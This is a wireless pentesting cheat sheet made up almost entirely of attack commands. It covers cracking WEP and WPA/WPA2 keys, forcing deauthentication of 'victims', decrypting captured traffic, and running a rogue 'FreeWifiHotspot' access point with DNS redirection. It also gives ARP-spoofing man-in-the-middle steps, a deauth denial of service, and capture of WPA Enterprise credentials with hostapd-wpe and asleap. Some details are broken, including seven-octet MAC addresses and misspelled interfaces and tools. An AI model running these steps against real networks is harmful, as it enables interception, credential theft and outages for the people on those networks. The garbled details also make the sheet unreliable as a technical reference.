Wireless Pentesting

 

 

Change Your MAC Address

macchanger -m aa:bb:cc:11:22:33:44 wlan

or 

ifconfig eth0 hw ether aa:bb:cc:11:22:33:44
ifconfig eth0 up

Cracking WEP

#Start Monitor Mode
airmon-ng start wlan0

#Search for Wireless Networks and copy the BSSID
airodump-ng wlan0mon

#Start capturing IV Packets and do not close it 
airodump-ng --bssid 00:11:22:33:44:55:66 -c 1 wlan0mon -w PacketCapture

#Crack the password
aircrack-ng PacketCapture.cap

Cracking WPA/WPA2 PSK

WPA/WPA2 PSK works on pre authentication key, so we need to capture the handshake when the authentication happens.  

service network-manager stop

#Start Monitor Mode
airmon-ng start wlan0

#Search for Wireless Networks and copy the BSSID
airodump-ng wlan0mon

#Start capturing IV Packets and do not close it 
airodump-ng --bssid 00:11:22:33:44:55:66 -c 1 wlan0mon -w wpadump

#De-authenticate the already connected user or wait for some one to reconnect to the network
aireplay-ng --deauth 50 -a router_MAC_Address -h Victim_MAC_Station wlan0mon

#make sure you see WPA Handshake on airodump-ng terminal, then stop the airodump
aircrack-ng -w wordlist.txt wpadump.cap 

Eavesdropping on Wireless Network 

#Start Monitor Mode
airmon-ng start wlan0

#if you see any applications using the service
airmon-ng check kill

#Search for Wireless Networks and copy the BSSID
airodump-ng wlan0mon

#Start capturing IV Packets and do not close it, collect as much data as possible  
airodump-ng --bssid 00:11:22:33:44:55:66 -c Channel_Number wlan0mon -w wpadump

#Decrypt the data with the password. we need password and pcap file, crack the password using above methods. it removes all wireless protocol networks. 

airdecap-ng -w WEP_Password_in_Hex wepdump.cap

or 

airdecap-ng -p WPA_Password wpadump.cap

#open the WPAdump-dec.cap in wireshark and analyze the traffic

Setting up a Rogue Access Point Manually

#Start Monitor Mode
airmon-ng start wlan0

#Set a IP for the Monitor Interface
ifconfig wlan0mon 10.0.0.1/24

#Download required Tools 
sudo apt-get install -y hostapd dnsmasq wireless-tools iw wvdial 

#backup dnsmasq.conf file 
mv /etc/dnsmasq.conf /etc/dnsmasq.conf_backup

#Create a new dnsmasq.conf file 
nano dnsmasq.conf

log-facility=/var/log/dnsmasq.log
#Redirect the traffic to our machine, #is any
#address=/#/10.0.0.1
#redirect only google.com to our machine
#address=/google.com/10.0.0.1
interface=wlam0mon
dhcp-range=10.0.0.10,10.0.0.250,12h
#Gateway , Option 3 
dhcp-option=3,10.0.0.1 
#DNS Sever, Option 6
dhcp-option=6,10.0.0.1
#no-resolv
log-queries

#Create a hostapd.conf file 
nano /etc/hostapd.conf

interface=wlan0mon
driver=nl80211
ssid=FreeWifiHotspot
channel=1
#enable_karma=1

#Start dnsmasq 
service dnsmasq start 

#Start hostapd 
hostapd /etc/hostapd/hostapd.conf


#Rogue Access point is created and we can see their traffic in /var/log/dnsmasq.log file or capture the traffic on wireshark.

Man in the Middle Attack

Start the rogue access point as shown above and follow the below steps 


#flush MAC tables 
iptables -t nat -F
iptables -F

#create a nat rule for interface which has internet
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

#Forward the packets from user to destination
iptables -A FORWARD -i wlan0mon -o eth0 -j ACCEPT

#IP forwarding in Linux 
echo '1' > /proc/sys/net/ipv4/ip_forward

MITM - arpspoof 

#install arpspoof & dsniff
pacman -S arpspoof dniff

#setup IP Port Forwarding. So, that the traffic coming to attacker machine can have access to internet 
sysctl -w net.ipv4.ip_forward=1

#list ARP table
arp -a 

#start ARP Spoofing for Victim
arpspoof -i ens33 -t Target_IP Gateway_IP

#Start ARPSpoof for Gateway/Router on new terminal
arpspoof -i ens33 -t Gateway_IP Target_IP 

#Start wirshark and capture the packets ; you can filter by Victim IP address

Dos Attack

#Start Monitor Mode
airmon-ng start wlan0

#Search for Wireless Networks and copy the BSSID
airodump-ng wlan0mon

#Start capturing IV Packets and do not close it 
airodump-ng --bssid 00:11:22:33:44:55:66 -c 1 wlan0mon -w wpadump

#De-authenticate the already connected user and performing DOS attack 
aireplay-ng --deauth 5000 -a router_MAC_Address -c Victim_MAC_Station wlan0mon

Testing WPA Enterprise

apt-get update 
apt-get install hostapd-wpe

leadpad /etc/hostapd-wpe/hostapd-wpe.conf

--> modify the content in it 

ssid=NameOftheNetwork

ctrl+s, ctrl+q 

--> stop network-manager
service network-manager stop 

hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

--> fake access point is created. so, wait for the victim to enter the username& pass
--> usernmae is visible but passowrd is encrypted 
--> we will get challenge and response (both are encrypted)
--> need another tool to decrypt it 

asleap -C challenge_code -R resonse_code -W wordlist.txt